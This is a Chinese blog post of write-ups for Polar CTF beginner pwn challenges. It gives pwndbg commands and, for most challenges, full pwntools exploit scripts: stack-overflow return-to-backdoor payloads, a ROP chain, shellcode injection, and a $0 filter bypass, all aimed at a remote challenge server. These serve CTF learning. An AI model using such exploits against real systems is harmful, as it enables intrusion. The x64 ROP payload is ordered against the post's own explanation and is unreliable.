Polar CTF PWN 简单(1)(持续更新)

好长时间没有接触pwn了,这篇博客也是在草稿箱里待了很久但是一直没有更深入的编辑,从今天起就来完善一下

其实对于pwn来说,坚持是很困难的,致敬每一个坚持不懈的人!我其实也是从感到复杂懵懂生疏,到如今也是渐渐习惯熟练

在写题的时候一般用的工具是pwndbg,用命令gdb打开,还有的一些命令如下:

python 复制代码
gdb 文件名        #打开调试工具
b 函数名          #在某函数处下断点
r                 #运行程序到断点处
n                 #单步运行调试
stack 数字        #查看固定数字长度的栈区域
cyclic 数字       #生成随机数目的字符串以作为填充数据
cyclic -l 字符串  #定位栈溢出时覆盖返回地址的偏移量,即找到溢出多少字节能精准覆盖EIP/RIP
chmod +x 文件名   #使文件有执行权限,以运行调试。这其实有一套命令,但是一般用的是这个

sandbox:

先查看一下保护

有Canary保护,就不能利用栈溢出;NX保护,栈区域的某些操作无法执行

cat flag不行,放入ida,进入main函数,发现sh-,cat,flag都被过滤了。尝试tac flag,more等指令都不行

pwn中常见的绕过(以后见多了会慢慢更的,咕咕咕) - Falling_Dusk - 博客园

了解用$0绕过,再cat flag即可

Creeper:

先查一下保护

64位,有NX保护,进入ida分析代码

发现当读取buf的值长度等于15时就会输出flag。但是要注意输入14个字符即可,因为回车键占一个

简单溢出:

先查看一下保护

NX保护,不能执行栈区域代码

进入ida

找到栈溢出。在fact函数里找到bin/sh,把函数的地址记下来

运行代码,查看偏移长度,用cyclic生成较大数量的字符串,n单步执行到输入

看到了rbp,下一个就是rip,那么就是0x38个字节长度(覆盖到rip)

构造payload:

python 复制代码
from pwn import*
io = remote('1.95.36.136',2130)
sys=0x400596
payload=b'a'*0x38+p64(sys)
io.sendline(payload)
io.interactive()

运行代码即可

system:

查看一下保护

有金丝雀保护,查看一下代码

典型的栈溢出,但是没发现bin/sh。system直接读取输入的内容,并没有过滤,直接输入命令就可以,先ls

发现有flag,但是cat flag没有输出。要提权,输入sh即可

Emm:

查一下保护,32位,有NX

进入ida分析,main函数的yes函数里面找到了栈溢出,有bin/sh,但这显然不是后门函数

在flag里找到了cat flag

可以利用这个来进行溢出,查看偏移长度

构造payload:

python 复制代码
from pwn import*
io = remote('1.95.36.136',2146)
sys=0x80484CB
payload=b'a'*92+p32(sys)
io.sendline(payload)
io.interactive()

运行即可

Choice:

查一下保护

有NX,进入ida,在Data里发现有三个read

而只有data3里读入的栈空间大于分配的缓冲区大小,这样符合栈溢出的要求。提醒的是进入data3之前要先输入3

找到system函数地址

计算偏移量

构造payload:

python 复制代码
from pwn import*
io = remote('1.95.36.136',2092)
sys=0x4007BD
Data3='3'
payload=b'a'*56+p64(sys)
io.sendline(Data3)
io.sendline(payload)
io.interactive()

运行即可

overload1:

查一下保护

进入ida,找到main函数,把一些数据转换一下

分析一下,先输入choice,如果等于y就会让输入v4,这是一个漏洞点,一直覆盖到choice[1],如果choice[1]等于a,那么就返回bin/sh

计算偏移量,可以根据头部计算

v4数组长度270,再有两个choice即可

构造payload:

python 复制代码
from pwn import*
io = remote('1.95.36.136',2052)
v4='y'
payload=b'a'*0x110
v5='a'*2
io.sendline(v4)
io.sendline(payload)
io.sendline(v5)
io.interactive()

运行即可

x64:

先查看一下保护

没有任何保护,进入ida

找到栈溢出,但是发现system函数和bin/sh不在同一个里面,那么构造的时候就需要将两个地址加上去

并且这是64位的要和寄存器结合,根据执行顺序,要先执行pop rdi; ret,将弹出的bin/sh的地址写入rdi寄存器,执行retn,跳转到system函数的地址,system读取bin/sh作为参数

现在计算偏移

找到相应地址后,构造payload:

python 复制代码
from pwn import*
io=remote('1.95.36.136',2105)
sys_addr=0x400560
bin_addr=0x601060
rdi_addr=0x00000000004007e3
payload=b'a'*136+p64(sys_addr)+p64(bin_addr)+p64(rdi_addr)
io.send(payload)
io.interactive()

运行即可

你是大佬还是菜鸡:

查看保护,有NX保护

进入ida,看到输入,dalao函数是输出了一串文字,而caiji函数是由栈溢出的。且如果是1和2就会执行caiji函数

caiji函数

找到bin/sh地址

找偏移量,可以把断点下在caiji函数

找到bin/sh函数的地址

构造payload:

python 复制代码
from pwn import*
io=remote('1.95.36.136',2062)
caiji='2'
sys_addr=0x4008B0
payload=b'a'*40+p64(sys_addr)
io.sendline(caiji)
io.sendline(payload)
io.interactive()

运行即可

Easy_ShellCode:

查看保护

没有保护,关键还有最后一行,有可执行的段,一般是bss段

放入ida,发现栈溢出,最后一行read函数

但是没有找到后门函数,需要我们构造shellcode,且上面函数的第7行可写入可读,跟进看地址

这是可以用来写shellcode的,需要知道一些写shellcode的一些规则和一些库,一般是shellcode.sh(),而且发送到机器需要转换为机器可读的机器码

https://docs.pwntools.com/en/stable/shellcraft.html

还要注意的是context(os='linux',arch='i386',log_level='debug')字段,这属于是配置,64位是必须要写的

找偏移

构造payload:

python 复制代码
from pwn import*
io=remote('1.95.36.136',2108)
context(os='linux',arch='i386',log_level='debug')
sys=0x804A080
shell=asm(shellcraft.sh())
payload=b'a'*108+p32(sys)
io.send(shell)
io.send(payload)
io.interactive()

小狗汪汪汪:

查看一下保护

32位,有NX保护,进入ida,看到输入函数

这个没有限制长度,通过调试来查看栈溢出位置

找到后门函数

发现在这个地址报错

计算长度

构造payload:

python 复制代码
from pwn import*
io = remote('1.95.36.136',2060)
sys=0x804859B
payload=b'a'*13+p32(sys)
io.sendline(payload)
io.interactive()

运行即可

play:

查看保护

没有保护,有可执行的段。进入ida,找到栈溢出,gets函数

依旧看到read,跟进有bss数据段,记住地址,用来构造shellcode

查找栈偏移

64位获得shellcode需要是shellcraft.amd64.sh(),且要主要context字段

构造payload:

python 复制代码
from pwn import*
io=remote('1.95.36.136',2076)
context(os='linux',arch='amd64',log_level='debug')
sys=0x6010A0
shell=asm(shellcraft.amd64.sh())
payload=b'a'*56+p64(sys)
io.sendline(shell)
io.sendline(payload)
io.interactive()

name4:

查看保护

有个Partial RELRO,核心目的是保护程序的全局偏移表(GOT),这在后面会用到。bss段、栈空间依旧可写

进入ida,找到main函数,跟进

第一个read函数在下面有限定输出,运行的时候通过输入回车绕过。第二个可以用来构造shellcode,gets函数典型的栈溢出

跟进第二个read函数找到地址

查找栈偏移,这个有点特殊,在gdb的调试过程中,如果我们给name[0]赋予回车,read函数仍会将回车键以0/a的形式读取,而不是空。需要我们在代码中,输入name[0]为空后,下断点以继续运行,要在代码中插入以下代码

python 复制代码
io=process("./2")
gdb.attach(io)

除了代码命令,还可以通过代码中定义的栈分配来获得

构造payload:

python 复制代码
from pwn import*
io=remote('1.95.36.136',2105)
context(os='linux',arch='i386',log_level='debug')
name=b'\x00'
sys=0x804A0E0
shell=asm(shellcraft.sh())
payload=b'a'*0x24+p32(sys)
io.send(name)
io.recvuntil(b"Enter your best friend name:")
io.send(shell)
io.recvuntil(b"give you stack overflow:")
io.sendline(payload)
io.interactive()

这段代码写的有点长。题目的输出比较长,需要另加说明要等到程序输出后再进行传。也可以用io.send(line)after。如

python 复制代码
io.sendlineafter(b"name:\n", b"\x00")

io.sendlineafter(b"name:\n", shell)

io.sendlineafter(b"overflow:\n", payload)

heap_Easy_Uaf:

查看保护

有NX、Canary保护。Cananry防范的是栈溢出

heap_Double_Free:

guess:

shellcode1:

相关推荐
Han.miracle2 小时前
Lombok 构造相关核心注解全解析
java·linux·算法
DeepModel2 小时前
【概率分布】卡方分布的原理、推导与实战应用
python·算法·概率论
6+h2 小时前
【java】System类详解
java·开发语言·python
tankeven2 小时前
NxN棋盘问题00:对角线特性
c++·算法
滴滴答滴答答2 小时前
机考刷题之 23&24&25 LeetCode 55&213&123
算法·leetcode·职场和发展
2501_911088232 小时前
C++中的代理模式变体
开发语言·c++·算法
客卿1232 小时前
岛屿问题--bfs的应用--二维网络题目学习
学习·算法·宽度优先
无限进步_2 小时前
【C++】只出现一次的数字 III:位运算的巧妙应用
数据结构·c++·git·算法·leetcode·github·visual studio
北岛寒沫2 小时前
北京大学国家发展研究院 中国经济专题 课程笔记(第一课 绪论)
经验分享·笔记·学习